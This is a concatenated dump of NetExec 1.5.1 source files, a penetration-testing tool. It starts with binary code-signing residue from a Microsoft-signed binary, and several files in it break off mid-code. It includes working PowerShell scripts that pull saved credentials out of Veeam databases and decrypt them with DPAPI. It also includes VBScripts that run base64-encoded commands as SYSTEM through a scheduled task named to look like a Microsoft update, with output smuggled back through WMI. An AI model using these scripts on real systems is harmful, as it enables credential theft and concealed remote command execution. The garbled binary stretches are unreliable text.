:́[iI}}k_OQLNɻ?s0o0U%0 +7L+0U#KwXYh0EU>0<:0810U Microsoft Corporation10U 230012+4705280U#0HndPӂ77"mu0TUM0K0IGEChttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a+U0S0Q+0Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0 U00  *H  UeCtIfs${z8q8toXkf5ZgjZv0նѕ%_my( gɘ<^qHsѼ&D :Hx8^s5ZrJIԒh B}v Xd^G8aev2ݷ|w޽s$AI\ nuO,Sx#.ƭ?fC/YCgG![^>.0z0b a0  *H  01 0 UUS10U Washington10URedmond10U Microsoft Corporation1200U)Microsoft Root Certificate Authority 20110 110708205909Z 260708210909Z0~1 0 UUS10U Washington10URedmond10U Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110"0  *H 0 r.nM4X!B*kZP8I 7k 8™91BӉ yd~`$lIh^ߛS ,ï٩+z זY`fv2R&/PϳD].uhm:\F8dnd5xc-@ \yI) w=+ZMV(zr:I^C{{>]O/Y;-3Xŷ>2ӳ=8~ҝ,NV!5%9ndS#_R!t%_('(8%9J6|#faj(I_%]!K>RĵW?$z[/#p]QFwἬ_UK9#ID|Erzr$߿FWۃMI0[ݰf{KI)(}gbx_/W\w((m(,@7OD LԥC/tnx X,]`>O3ڰޞNFlֈ 00 +70UHndPӂ77"mu0 +7  SubCA0 U0U00U#0r-:1CN1#40ZUS0Q0OMKIhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^+R0P0N+0Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0U 00 +7.00?+3http://www.microsoft.com/pkiops/docs/primarycps.htm0@+042 Legal_policy_statement. 0  *H  g򆥘Ty.tg" cB}y e_.,>rm? ;Gic"5]e}FPU |K.)=Եw9dD=xz#}t&F*Š hh.*?*kXIc inZF+;н5n%'(M= 2-[I9 ƭQEX82q'',: iYhnot@*(>?Mf Mo}Ev@*e]Rbc6'ͥ]cA[>wuaaA(e/\֡FY KH)ű?Ew5Ңzz"HG#kKux7yKֳ#hu i;0Lumc=ѝVNOW"x2!zA ?̤]WqVNHEBɛv[ HkymmjRs zP1000~1 0 UUS10U Washington10URedmond10U Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20113˷u9qB60  `He0 *H  1  +70 +7 10  +70/ *H  1" ր:Yiue?cRb`Ae0D +7 1604Procdumphttps://www.sysinternals.com0  *H ښTC;hiд{]05RajVDkre}g88|asr7C}>)y Px{zq~sbr"#DɛEt2q2cY-I*퉹҅xg-SD{pR 0 +710 *H 010  `He0U *H  D@0< +Y 010  `He p tuPMqO*:ݽƅhc*20221018175157.265Z0Ԥ01 0 UUS10U Washington10URedmond10U Microsoft Corporation1)0'U  Microsoft Operations Puerto Rico1&0$U Thales TSS ESN:F87A-E374-D7B91%0#UMicrosoft Time-Stamp Service_003 \40  *H  0|1 0 UUS10U Washington10URedmond10U Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100 220302185137Z 230511185137Z01 0 UUS10U Washington10URedmond10U Microsoft Corporation1)0'U  Microsoft Operations Puerto Rico1&0$U Thales TSS ESN:F87A-E374-D7B91%0#UMicrosoft Time-Stamp Service0"0  *H 0 !5 -sc`y#'>K?G}`kx6+:}FRt3"y>Bb3mJb]t'|,JrOdk2fɛt+cCwD|k1N654NO) i0I *$\ʳ JRGK 1-Ll͛FC7$PԒ ꁔ] :n0ijT8rq۱>Z6h~H=atwLU6%Izw&m7.\^L8ՈOC;~DŗxW+ȲrBxX\rCs~,h<[`nCM"/HYe4M7T*(E0ɭb0B]<&v5K@8+X45E%~&Ly(Vs5W xUa<D6sb356020U0o߿(`td:aQ0U#0]^b]eS5r0_UX0V0TRPNhttp://www.microsoft.com/pkiops/crl/Microsoft%20Time-Stamp%20PCA%202010(1).crl0l+`0^0\+0Phttp://www.microsoft.com/pkiops/certs/Microsoft%20Time-Stamp%20PCA%202010(1).crt0 U00U% 0 +0  *H  ]UD<3!sp&jcTRB؇O[D5$ؚy5UⵆPŪǁVI:o) 6o4'?Z"f5${/@gcLeKFY09YT>_ 7Zj[ؾv_jŸ(`LG:mBmnq;nRTmꠂd3uAzEj#a8އΘ++wȹR8 B[ JkȦw7Z2)SĩVp7$Ge+#Hq%2vC0Xgcg6m@kdcRg!mJk lbaUjR?طmGCx291|I0q0Y3kI0  *H  01 0 UUS10U Washington10URedmond10U Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100 210930182225Z 300930183225Z0|1 0 UUS10U Washington10URedmond10U Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0  *H 0 Lr! y$yՂҩlNu5WlJ⽹>`3\OfSqZ~JZ6gF# w2`}jRDFkvPDq\Q17 8n&S|9azĪri65&dژ;{3[~Rb%j]SVMݼ㑏9,Qpi 6-p15(㴇$ɏ~TUmh;Fz)7EFn20\O,b͹⍈䖬Jq[g`= s}AFu_4 }~ٞE߶r/}_۪~66L+nQsM7t4G|?Lۯ^s=CN39LBh.QFѽjZasg^(v3rק  co 6d[!]_0tعP a65Gk\RQ]%PzlrRą<7?xE^ڏriƮ{>j.00 +70# +7*RdĚhttp://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0  *H  U}*,g1$[rKo\>NGdx=139q6?dl|u9m1lѡ"fg:SMݘx6.Vi {jo)n?Hum m#TxSu$Wݟ=heV(U'$@]='@8)üTB  jBRu6as.,k{n?, x鑲[It 쑀=J>f;O2ٖtLrou04zP X@1Q{p( 6ںL 4$5g+ 挙"'B=%tt[jў>~13}{8pDѐȫ::bpcSMmqjU3Xpf0;0Ԥ01 0 UUS10U Washington10URedmond10U Microsoft Corporation1)0'U  Microsoft Operations Puerto Rico1&0$U Thales TSS ESN:F87A-E374-D7B91%0#UMicrosoft Time-Stamp Service# 0+ggrOZ㠁0~0|1 0 UUS10U Washington10URedmond10U Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100  *H 40"20221018120716Z20221019120716Z0w0= +Y 1/0-0 40 d0e0 .06 +Y 1(0&0  +Y  0 00  *H jsaK5C4 b^ed=inHNumV% Y19^MN,iX z7L _}~<=yriDΞ2-S[Ͼԁkr`^Zٶ|1 0 00|1 0 UUS10U Washington10URedmond10U Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103 \40  `HeJ0 *H  1  *H  0/ *H  1" x^Psvm2*u+n10 *H  /1000 I(>ZOf5<:4nCHRoh00~0|1 0 UUS10U Washington10URedmond10U Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103 \40" ^-XG`1T[*tY 7C0  *H  [pq]h\6cFY2\6hR5wP*K>G=Ɩ˴kCfmb) 9.a@<@ˁRZ1-Ī=#r"3jlGf%]ZIqyNkB"Bܵ T2{R ~1lв5z/-ߕvj>Tg l+5/c1=VЍ/MD%|{YRoYd=A#n Uå\Trߘ IӌFn2 V t.6s0Npad'\q:zc<`P5WYs׌b8sad_Uym+7 _a@jVh(/)yQV@#v aOAx56!=I{VqXv)t˶h" ./mAXt =bL,c\qWޟDNetExec-1.5.1/nxc/data/veeam_dump_module/000077500000000000000000000000001514706431700202515ustar00rootroot00000000000000NetExec-1.5.1/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1000066400000000000000000000052461514706431700242460ustar00rootroot00000000000000$SqlDatabaseName = "REPLACE_ME_SqlDatabase" $SqlServerName = "REPLACE_ME_SqlServer" $SqlInstanceName = "REPLACE_ME_SqlInstance" $b64Salt = "REPLACE_ME_b64Salt" #Forming the connection string $SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords $auth = "Integrated Security=SSPI;" #Local user $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;" $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString $command = New-Object System.Data.OleDb.OleDbCommand $SQL, $connection #Fetching encrypted credentials from the database try { $connection.Open() $adapter = New-Object System.Data.OleDb.OleDbDataAdapter $command $dataset = New-Object System.Data.DataSet [void] $adapter.Fill($dataSet) $connection.Close() } catch { Write-Host "Can't connect to DB! Exiting..." exit -1 } $output=($dataset.Tables | Select-Object -Expand Rows) if ($output.count -eq 0) { Write-Host "No passwords found!" exit } Add-Type -assembly System.Security # Decrypting passwords using DPAPI $output | ForEach-Object -Process { $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default try { # Decrypt password with DPAPI (old Veeam versions) $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' } catch { try{ # Decrypt password with salted DPAPI (new Veeam versions) $salt = [System.Convert]::FromBase64String($b64Salt) $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) foreach ($byte in $EncryptedPWD) { $hex.AppendFormat("{0:x2}", $byte) > $null } $hex = $hex.ToString().Substring(74,$hex.Length-74) $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) for ($i = 0; $i -lt $hex.Length; $i += 2) { $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) } $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' }catch { $pw_string = "COULD_NOT_DECRYPT" } } $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' $_.password = $pw_string $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 NetExec-1.5.1/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1000066400000000000000000000041041514706431700253020ustar00rootroot00000000000000$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec" $PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth" $SqlDatabaseName = "REPLACE_ME_SqlDatabaseName" $b64Salt = "REPLACE_ME_b64Salt" $SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';" $output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv if ($output.count -eq 0) { Write-Host "No passwords found!" exit } # Decrypting passwords using DPAPI Add-Type -assembly System.Security $output | ForEach-Object -Process { $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default try { # Decrypt password with DPAPI (old Veeam versions) $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' } catch { try{ # Decrypt password with salted DPAPI (new Veeam versions) $salt = [System.Convert]::FromBase64String($b64Salt) $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) foreach ($byte in $EncryptedPWD) { $hex.AppendFormat("{0:x2}", $byte) > $null } $hex = $hex.ToString().Substring(74,$hex.Length-74) $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) for ($i = 0; $i -lt $hex.Length; $i += 2) { $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) } $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' }catch { $pw_string = "COULD_NOT_DECRYPT" } } $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' $_.password = $pw_string $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000NetExec-1.5.1/nxc/data/wmiexec_event_vbscripts/000077500000000000000000000000001514706431700215235ustar00rootroot00000000000000NetExec-1.5.1/nxc/data/wmiexec_event_vbscripts/Exec_Command_Silent.vbs000066400000000000000000000033431514706431700261020ustar00rootroot00000000000000Dim command command = Base64StringDecode("REPLACE_ME_BASE64_COMMAND") Const TriggerTypeDaily = 1 Const ActionTypeExec = 0 Set service = CreateObject("Schedule.Service") Call service.Connect Dim rootFolder Set rootFolder = service.GetFolder("\") Dim taskDefinition Set taskDefinition = service.NewTask(0) Dim regInfo Set regInfo = taskDefinition.RegistrationInfo regInfo.Description = "Update" regInfo.Author = "Microsoft" Dim settings Set settings = taskDefinition.settings settings.Enabled = True settings.StartWhenAvailable = True settings.Hidden = False settings.DisallowStartIfOnBatteries = False Dim triggers Set triggers = taskDefinition.triggers Dim trigger Set trigger = triggers.Create(7) Dim Action Set Action = taskDefinition.Actions.Create(ActionTypeExec) Action.Path = "c:\windows\system32\cmd.exe" Action.arguments = "/Q /c " & command Dim objNet, LoginUser Set objNet = CreateObject("WScript.Network") LoginUser = objNet.UserName If UCase(LoginUser) = "SYSTEM" Then Else LoginUser = Empty End If Call rootFolder.RegisterTaskDefinition("REPLACE_ME_TEMP_TASKNAME", taskDefinition, 6, LoginUser, , 3) Call rootFolder.DeleteTask("REPLACE_ME_TEMP_TASKNAME",0) Function Base64StringDecode(ByVal vCode) Set oXML = CreateObject("Msxml2.DOMDocument") Set oNode = oXML.CreateElement("base64") oNode.dataType = "bin.base64" oNode.text = vCode Set BinaryStream = CreateObject("ADODB.Stream") BinaryStream.Type = 1 BinaryStream.Open BinaryStream.Write oNode.nodeTypedValue BinaryStream.Position = 0 BinaryStream.Type = 2 ' All Format => utf-16le - utf-8 - utf-16le BinaryStream.CharSet = "utf-8" Base64StringDecode = BinaryStream.ReadText Set BinaryStream = Nothing Set oNode = Nothing End FunctionNetExec-1.5.1/nxc/data/wmiexec_event_vbscripts/Exec_Command_WithOutput.vbs000066400000000000000000000067721514706431700270110ustar00rootroot00000000000000Dim command, outputPath command = Base64StringDecode("REPLACE_ME_BASE64_COMMAND") outputPath = "C:\Windows\Temp\REPLACE_ME_OUTPUT_FILE" On Error Resume Next Set objTestNewInst = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer.Name=""REPLACE_ME_INSTANCEID""") If Err.Number <> 0 Then Err.Clear If FileExists(outputPath) Then inputFile = outputPath Set inStream = CreateObject("ADODB.Stream") inStream.Open inStream.type= 1 'TypeBinary inStream.LoadFromFile(inputFile) readBytes = inStream.Read() Set oXML = CreateObject("Msxml2.DOMDocument") Set oNode = oXML.CreateElement("base64") oNode.dataType = "bin.base64" oNode.nodeTypedValue = readBytes Base64Encode = oNode.text ' Write back into wmi class wbemCimtypeString = 8 Set objClass = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer") Set objInstance = objClass.spawninstance_ objInstance.name="REPLACE_ME_INSTANCEID" objInstance.scriptingengine="vbscript" objInstance.scripttext = Base64Encode objInstance.put_ Else Const TriggerTypeDaily = 1 Const ActionTypeExec = 0 Set service = CreateObject("Schedule.Service") Call service.Connect Dim rootFolder Set rootFolder = service.GetFolder("\") Dim taskDefinition Set taskDefinition = service.NewTask(0) Dim regInfo Set regInfo = taskDefinition.RegistrationInfo regInfo.Description = "Update" regInfo.Author = "Microsoft" Dim settings Set settings = taskDefinition.settings settings.Enabled = True settings.StartWhenAvailable = True settings.Hidden = False settings.DisallowStartIfOnBatteries = False Dim triggers Set triggers = taskDefinition.triggers Dim trigger Set trigger = triggers.Create(7) Dim Action Set Action = taskDefinition.Actions.Create(ActionTypeExec) Action.Path = "c:\windows\system32\cmd.exe" Action.arguments = "/Q /c " & command & " 1> " & outputPath & " 2>&1" Dim objNet, LoginUser Set objNet = CreateObject("WScript.Network") LoginUser = objNet.UserName If UCase(LoginUser) = "SYSTEM" Then Else LoginUser = Empty End If Call rootFolder.RegisterTaskDefinition("REPLACE_ME_TEMP_TASKNAME", taskDefinition, 6, LoginUser, , 3) Call rootFolder.DeleteTask("REPLACE_ME_TEMP_TASKNAME",0) End If Else On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(outputPath) If Err.Number <> 0 Then Err.Clear End If End If Function FileExists(FilePath) Set fso = CreateObject("Scripting.FileSystemObject") If fso.FileExists(FilePath) Then FileExists=CBool(1) Else FileExists=CBool(0) End If End Function Function Base64StringDecode(ByVal vCode) Set oXML = CreateObject("Msxml2.DOMDocument") Set oNode = oXML.CreateElement("base64") oNode.dataType = "bin.base64" oNode.text = vCode Set BinaryStream = CreateObject("ADODB.Stream") BinaryStream.Type = 1 BinaryStream.Open BinaryStream.Write oNode.nodeTypedValue BinaryStream.Position = 0 BinaryStream.Type = 2 ' All Format => utf-16le - utf-8 - utf-16le BinaryStream.CharSet = "utf-8" Base64StringDecode = BinaryStream.ReadText Set BinaryStream = Nothing Set oNode = Nothing End FunctionNetExec-1.5.1/nxc/database.py000066400000000000000000000177371514706431700160060ustar00rootroot00000000000000import configparser import ipaddress import platform import shutil import sys from os import mkdir from os.path import exists from os.path import join as path_join from pathlib import Path from threading import Lock from sqlalchemy import Table, create_engine, MetaData, func from sqlalchemy.exc import ( IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError, ) from sqlalchemy.orm import sessionmaker, scoped_session from nxc.loaders.protocolloader import ProtocolLoader from nxc.logger import nxc_logger from nxc.paths import WORKSPACE_DIR def create_db_engine(db_path): return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True) def open_config(config_path): try: config = configparser.ConfigParser() config.read(config_path) except Exception as e: print(f"[-] Error reading nxc.conf: {e}") sys.exit(1) return config def get_workspace(config): return config.get("nxc", "workspace") def set_workspace(config_path, workspace_name): config = open_config(config_path) config.set("nxc", "workspace", workspace_name) write_configfile(config, config_path) print(f"[*] Workspace set to {workspace_name}") def get_db(config): return config.get("nxc", "last_used_db") def write_configfile(config, config_path): with open(config_path, "w") as configfile: config.write(configfile) def init_protocol_dbs(workspace_name, p_loader=None): """Check for each protocol if the database exists, if not create it.""" if p_loader is None: p_loader = ProtocolLoader() protocols = p_loader.get_protocols() for protocol in protocols: protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"]) proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db") if not exists(proto_db_path): print(f"[*] Initializing {protocol.upper()} protocol database") db_engine = create_db_engine(proto_db_path) protocol_object.database.db_schema(db_engine) db_engine.dispose() def create_workspace(workspace_name, p_loader=None): """ Create a new workspace with the given name. Args: ---- workspace_name (str): The name of the workspace. Returns: ------- None """ if exists(path_join(WORKSPACE_DIR, workspace_name)): print(f"[-] Workspace {workspace_name} already exists") else: print(f"[*] Creating {workspace_name} workspace") mkdir(path_join(WORKSPACE_DIR, workspace_name)) init_protocol_dbs(workspace_name, p_loader) def delete_workspace(workspace_name): shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name)) print(f"[*] Workspace {workspace_name} deleted") def initialize_db(): if not exists(path_join(WORKSPACE_DIR, "default")): create_workspace("default") # Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol) init_protocol_dbs("default") def format_host_query(q, filter_term, HostsTable): """One annoying thing is that if you search for an ip such as '10.10.10.5', it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first """ # the FTP and SSH protocols call the column host instead of IP # TODO: normalize these column names if hasattr(HostsTable.c, "ip"): ip_column = HostsTable.c.ip nxc_logger.debug("Using 'ip' column for filtering") elif hasattr(HostsTable.c, "host"): ip_column = HostsTable.c.host nxc_logger.debug("Using 'host' column for filtering") else: nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table") return q # first we check if its an ip address try: ipaddress.ip_address(filter_term) nxc_logger.debug(f"filter_term is an IP address: {filter_term}") q = q.filter(ip_column == filter_term) except ValueError: nxc_logger.debug(f"filter_term is not an IP address: {filter_term}") like_term = func.lower(f"%{filter_term}%") # check if the hostname column exists for hostname searching q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term)) return q class BaseDB: def __init__(self, db_engine): self.db_engine = db_engine self.db_path = self.db_engine.url.database self.protocol = Path(self.db_path).stem.upper() self.metadata = MetaData() self.reflect_tables() session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) session = scoped_session(session_factory) self.sess = session() self.lock = Lock() def reflect_tables(self): raise NotImplementedError("Reflect tables not implemented") def reflect_table(self, table): with self.db_engine.connect(): try: reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine) # Check for column addition / deletion reflected_columns = set(reflected_table.columns.keys()) orm_columns = {column.name for column in table.__table__.columns} if reflected_columns != orm_columns: raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}") # Check for constraint changes reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints] orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints] if reflected_constraints != orm_constraints: raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}") return reflected_table except (NoInspectionAvailable, NoSuchTableError, ValueError) as e: commands_platform = { "Windows": [ f"cmd /c copy {self.db_path} %USERPROFILE%\\nxc_{self.protocol.lower()}.bak", f"del {self.db_path}" ], "Linux": [ f"cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak", f"rm -f {self.db_path}" ] } copy_command = commands_platform["Windows"][0] if platform.system() == "Windows" else commands_platform["Linux"][0] delete_command = commands_platform["Windows"][1] if platform.system() == "Windows" else commands_platform["Linux"][1] nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'") nxc_logger.debug(e) nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.") nxc_logger.fail(f"Optionally save the old DB data (`{copy_command}`)") nxc_logger.fail(f"Then remove the {self.protocol} DB (`{delete_command}`) and run nxc to initialize the new DB") sys.exit() def shutdown_db(self): try: self.sess.close() # due to the async nature of nxc, sometimes session state is a bit messy and this will throw: # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and # this would cause an unexpected state change to except IllegalStateChangeError as e: nxc_logger.debug(f"Error while closing session db object: {e}") def clear_database(self): for table in self.metadata.sorted_tables: self.db_execute(table.delete()) def db_execute(self, *args): self.lock.acquire() res = self.sess.execute(*args) self.lock.release() return res NetExec-1.5.1/nxc/first_run.py000077500000000000000000000025211514706431700162410ustar00rootroot00000000000000from os import mkdir from os.path import exists from os.path import join as path_join import shutil from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH from nxc.database import initialize_db from nxc.logger import nxc_logger def first_run_setup(logger=nxc_logger): if not exists(NXC_PATH): logger.display("First time use detected") logger.display("Creating home directory structure") mkdir(NXC_PATH) if not exists(TMP_PATH): mkdir(TMP_PATH) folders = ( "logs", "modules", "workspaces", "obfuscated_scripts", "screenshots", ) for folder in folders: if not exists(path_join(NXC_PATH, folder)): logger.display(f"Creating missing folder {folder}") mkdir(path_join(NXC_PATH, folder)) log_subfolders = ( "sam", "lsa", "ntds", "dpapi", ) for subfolder in log_subfolders: if not exists(path_join(NXC_PATH, f"logs/{subfolder}")): logger.display(f"Creating missing folder logs/{subfolder}") mkdir(path_join(NXC_PATH, f"logs/{subfolder}")) initialize_db() if not exists(CONFIG_PATH): logger.display("Copying default configuration file") default_path = path_join(DATA_PATH, "nxc.conf") shutil.copy(default_path, NXC_PATH) NetExec-1.5.1/nxc/helpers/000077500000000000000000000000001514706431700153135ustar00rootroot00000000000000NetExec-1.5.1/nxc/helpers/__init__.py000077500000000000000000000000001514706431700174150ustar00rootroot00000000000000NetExec-1.5.1/nxc/helpers/args.py000066400000000000000000000033101514706431700166160ustar00rootroot00000000000000from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE from argparse import Action class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter): def _get_help_string(self, action): help_string = action.help if "%(default)" not in action.help and action.default is not SUPPRESS: defaulting_nargs = [OPTIONAL, ZERO_OR_MORE] if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None help_string += " (default: %(default)s)" # NORUFF return help_string class DefaultTrackingAction(Action): def __init__(self, option_strings, dest, default=None, required=False, **kwargs): # Store the default value to check later self.default_value = default super().__init__( option_strings, dest, default=default, required=required, **kwargs ) def __call__(self, parser, namespace, values, option_string=None): # Set an attribute to track whether the value was explicitly set setattr(namespace, self.dest, values) setattr(namespace, f"{self.dest}_explicitly_set", True) def get_conditional_action(baseAction): class ConditionalAction(baseAction): def __init__(self, option_strings, dest, **kwargs): x = kwargs.pop("make_required", []) super().__init__(option_strings, dest, **kwargs) self.make_required = x def __call__(self, parser, namespace, values, option_string=None): for x in self.make_required: x.required = True super().__call__(parser, namespace, values, option_string) return ConditionalAction NetExec-1.5.1/nxc/helpers/bash.py000066400000000000000000000002271514706431700166030ustar00rootroot00000000000000import os from nxc.paths import DATA_PATH def get_script(path): with open(os.path.join(DATA_PATH, path)) as script: return script.read() NetExec-1.5.1/nxc/helpers/bloodhound.py000066400000000000000000000107531514706431700200300ustar00rootroot00000000000000def add_user_bh(user, domain, logger, config): """Adds a user to the BloodHound graph database. Args: ---- user (str or list): The username of the user or a list of user dictionaries. domain (str): The domain of the user. logger (Logger): The logger object for logging messages. config (ConfigParser): The configuration object for accessing BloodHound settings. Returns: ------- None Raises: ------ AuthError: If the provided Neo4J credentials are not valid. ServiceUnavailable: If Neo4J is not available on the specified URI. Exception: If an unexpected error occurs with Neo4J. """ users_owned = [] if isinstance(user, str): users_owned.append({"username": user.upper(), "domain": domain.upper()}) else: users_owned = user if config.get("BloodHound", "bh_enabled") != "False": # we do a conditional import here to avoid loading these if BH isn't enabled from neo4j import GraphDatabase from neo4j.exceptions import AuthError, ServiceUnavailable uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}" driver = GraphDatabase.driver( uri, auth=( config.get("BloodHound", "bh_user"), config.get("BloodHound", "bh_pass"), ), encrypted=False, ) try: with driver.session().begin_transaction() as tx: for user_info in users_owned: distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",") domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data() if not domain_query: logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.") _add_without_domain(user_info, tx, logger) else: domain = domain_query[0]["d"].get("name") _add_with_domain(user_info, domain, tx, logger) except AuthError: logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.") except ServiceUnavailable: logger.fail(f"Neo4J does not seem to be available on {uri}.") except Exception as e: logger.fail(f"Unexpected error with Neo4J: {e}") finally: driver.close() def _add_with_domain(user_info, domain, tx, logger): if user_info["username"][-1] == "$": user_owned = f"{user_info['username'][:-1]}.{domain}" account_type = "Computer" else: user_owned = f"{user_info['username']}@{domain}" account_type = "User" result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data() if len(result) == 0: logger.fail("Account not found in the BloodHound database.") return if result[0]["c"].get("owned") in (False, None): logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name") result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0] logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound") def _add_without_domain(user_info, tx, logger): if user_info["username"][-1] == "$": user_owned = user_info["username"][:-1] account_type = "Computer" else: user_owned = user_info["username"] account_type = "User" result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data() if len(result) == 0: logger.fail("Account not found in the BloodHound database.") return elif len(result) >= 2: logger.fail(f"Multiple accounts found with the name '{user_info['username']}' in the BloodHound database. Please specify the FQDN ex:domain.local") return elif result[0]["c"].get("owned") in (False, None): logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name") result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0] logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound") NetExec-1.5.1/nxc/helpers/even6_parser.py000066400000000000000000000173141514706431700202720ustar00rootroot00000000000000# SPDX-License-Identifier: GPL-2.0+ import struct import uuid from datetime import datetime from nxc.logger import nxc_logger class Substitution: def __init__(self, buf, offset): (sub_token, sub_id, sub_type) = struct.unpack_from("Q", value.data, 2)[0] sub_ids = [struct.unpack(" 0: attrs = " " + attrs if self._empty: return f"<{self._name.val}{attrs}/>" else: children = (x.xml(template) for x in self._children) return "<{}{}>{}".format(self._name.val, attrs, "".join(children), self._name.val) class ValueSpec: def __init__(self, buf, offset, value_offset): self.length, self.type, value_eof = struct.unpack_from("\n"): return "nmap" return "unknown" def gen_random_string(length=10): return "".join(random.sample(string.ascii_letters, int(length))) def validate_ntlm(data): allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE) return bool(allowed.match(data)) def called_from_cmd_args(): for stack in inspect.stack(): if stack[3] == "print_host_info": return True if stack[3] == "plaintext_login" or stack[3] == "hash_login" or stack[3] == "kerberos_login": return True if stack[3] == "call_cmd_args": return True return False # Stolen from https://github.com/pydanny/whichcraft/ def which(cmd, mode=os.F_OK | 